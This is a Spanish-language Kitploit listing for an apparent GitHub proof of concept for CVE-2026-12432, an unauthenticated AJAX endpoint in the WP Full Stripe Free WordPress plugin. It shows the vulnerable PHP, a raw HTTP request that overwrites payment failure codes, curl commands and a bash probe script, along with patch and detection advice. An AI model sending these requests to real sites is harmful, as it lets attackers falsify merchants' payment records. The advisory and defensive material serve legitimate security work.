Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
By-Poloss..-..CVE-2026-12432-PoC — WP Full Stripe Free <= 8.4.3 - Missing Authorization | Kitploit
Herramientas/GitHubGitHub/polosss/by-poloss..-..cve-2026-12432-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingMisconfiguration
GitHubpolosss/by-poloss..-..cve-2026-12432-poc

By-Poloss..-..CVE-2026-12432-PoC

WP Full Stripe Free <= 8.4.3 - Missing Authorization

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
1hace 1 mesAún no revisado

CVE-2026-12432: WP Full Stripe Free <= 8.4.3 - Autorización Faltante

Resumen

  • ID de CVE: CVE-2026-12432
  • Puntuación CVSS: 5.3 (Media)
  • Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
  • Afectado: Stripe Payment Forms by WP Full Pay <= 8.4.3
  • Corregido: >= 8.4.4
  • Publicado: 26 de junio de 2026
  • Última actualización: 27 de junio de 2026
  • Investigador: Netwurm - VTDR e.V.i.G.

Descripción de la Vulnerabilidad

El plugin WP Full Stripe Free para WordPress es vulnerable a Autorización Faltante en versiones hasta, e incluyendo, 8.4.3 a través de la acción AJAX wpfs_update_failed_payment_status.

Causa Raíz

El endpoint AJAX vulnerable está registrado a través de los hooks wp_ajax_ y wp_ajax_nopriv_:

root@kitploit:~
// wpfs-customer.php, Línea 705-706
add_action( 'wp_ajax_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );
add_action( 'wp_ajax_nopriv_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );

La función update_failed_payment_status() (Línea 3835-3865) realiza:

  • ❌ SIN comprobación de capacidad (sin current_user_can())
  • ❌ SIN verificación de nonce (sin wp_verify_nonce())
  • ❌ SIN comprobación de inicio de sesión (sin is_user_logged_in())

Código Vulnerable

root@kitploit:~
// wpfs-customer.php, Línea 3835-3865
function update_failed_payment_status() {
    try {
        $result = [];
        $failureCode = isset( $_POST['failureCode'] ) ? sanitize_text_field( $_POST['failureCode'] ) : null;
        $failureMessage = isset( $_POST['failureMessage'] ) ? sanitize_text_field( $_POST['failureMessage'] ) : null;
        $paymentIntentId = isset( $_POST['paymentIntentId'] ) ? sanitize_text_field( $_POST['paymentIntentId'] ) : null;

        $paymentIntent = $this->stripe->retrievePaymentIntent( $paymentIntentId );
        // ... sin comprobación de autenticación antes de procesar ...

        $updateData = [
            'paid' => 0,
            'captured' => 0,
            'refunded' => 0
        ];

        // El atacante puede sobrescribir con valores controlados
        if ( $lastCharge ) {
            $updateData['last_charge_status'] = $lastCharge->status;
            $updateData['failure_code'] = $lastCharge->failure_code;
            $updateData['failure_message'] = $lastCharge->failure_message;
        } else {
            $updateData['last_charge_status'] = 'failed';
            $updateData['failure_code'] = $failureCode;
            $updateData['failure_message'] = $failureMessage;
        }

        $this->db->updatePaymentByEventId( $paymentIntentId, $updateData );
        // ...
    }
}

Vector de Ataque

Prerrequisitos

  • El ID de Payment Intent debe ser conocido (expuesto en el navegador durante el checkout normal de Stripe)
  • No se requiere autenticación

Pasos del Ataque

  1. Identificar Objetivo: Encontrar un sitio WordPress con WP Full Stripe Free <= 8.4.3 instalado
  2. Obtener ID de Payment Intent: Extraer del flujo de checkout de Stripe.js o de transacciones previas
  3. Enviar Solicitud Maliciosa: Crear una solicitud POST a admin-ajax.php con parámetros controlados por el atacante

Solicitud HTTP

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=wpfs_update_failed_payment_status&paymentIntentId=pi_XXXX&failureCode=ATTACKER_CODE&failureMessage=ATTACKER_MESSAGE

Evaluación del Impacto

Área de ImpactoSeveridadDescripción
Integridad

Impactos Específicos

  1. Manipulación de Registros de Pago: El atacante puede modificar el estado del pago de "pagado" a "fallido"
  2. Códigos de Falla Falsos: El atacante puede inyectar códigos/mensajes de falla arbitrarios
  3. Ingeniería Social: Podría usarse para defraudar a clientes o disputar cargos legítimos
  4. Corrupción del Registro de Auditoría: Se pueden falsificar registros comerciales

Prueba de Concepto (curl)

Detección Básica

root@kitploit:~
# Prueba si el endpoint es accesible sin autenticación
curl -s -k -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test_cve202612432" \
  -d "failureCode=TEST_CODE" \
  -d "failureMessage=TEST_MESSAGE"

# Respuesta esperada (vulnerable):
# {"success":false,"messageTitle":"Internal Error","message":"Invalid API Key provided...","exceptionMessage":"..."}

# El indicador clave es que el endpoint responde SIN requerir autenticación

Script de PoC Completo

root@kitploit:~
#!/bin/bash
TARGET="https://TARGET"

# Verificar si es vulnerable
echo "[*] Probando CVE-2026-12432..."

RESPONSE=$(curl -s -k -X POST "$TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test_123" \
  -d "failureCode=XSS" \
  -d "failureMessage=INJECTED")

if echo "$RESPONSE" | grep -q "success"; then
    echo "[+] VULNERABLE - Endpoint accesible sin autenticación"
else
    echo "[-] No vulnerable o error"
fi

Remedio

Solución Inmediata

Agregar una comprobación de autorización en wpfs-customer.php en la línea 3835:

root@kitploit:~
function update_failed_payment_status() {
    // AGREGAR ESTA COMPROBACIÓN
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    // ... resto de la función
}

Solución Recomendada (por el proveedor)

Actualizar a WP Full Stripe Free >= 8.4.4

root@kitploit:~
# A través del administrador de WordPress
Dashboard > Plugins > WP Full Stripe > Actualizar

# A través de WP-CLI
wp plugin update wp-full-stripe-free

# A través de SSH
wp plugin update wp-full-stripe-free --version=8.4.4

Detección

Verificación Manual

  1. Verificar la versión del plugin en el administrador de WordPress
  2. Revisar wp-content/plugins/wp-full-stripe-free/includes/wpfs-customer.php
  3. Buscar la ausencia de current_user_can() antes de los manejadores AJAX

Detección Automatizada

root@kitploit:~
# Verificar si está instalada una versión vulnerable
curl -s https://TARGET/wp-content/plugins/wp-full-stripe-free/readme.txt | grep -i "Stable tag"

# Probar el endpoint AJAX
curl -s -k -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test" | grep -q "success" && echo "Potencialmente Vulnerable"

Referencias

  • Wordfence Intelligence
  • Plugin Trac
  • Patchstack Database

W.P.E.F

  • Canal de Telegram de W.P.E.F #1
  • Canal de Telegram de W.P.E.F #2 --

Cronología

  • 26 de junio de 2026: Vulnerabilidad divulgada públicamente
  • 27 de junio de 2026: CVE-2026-12432 publicado
  • Parche: Actualizar a >= 8.4.4
Descargar herramienta
Media
Los atacantes pueden marcar pagos exitosos como fallidos
ConfidencialidadNingunaSin exposición de datos
DisponibilidadBajaPodría interrumpir las operaciones comerciales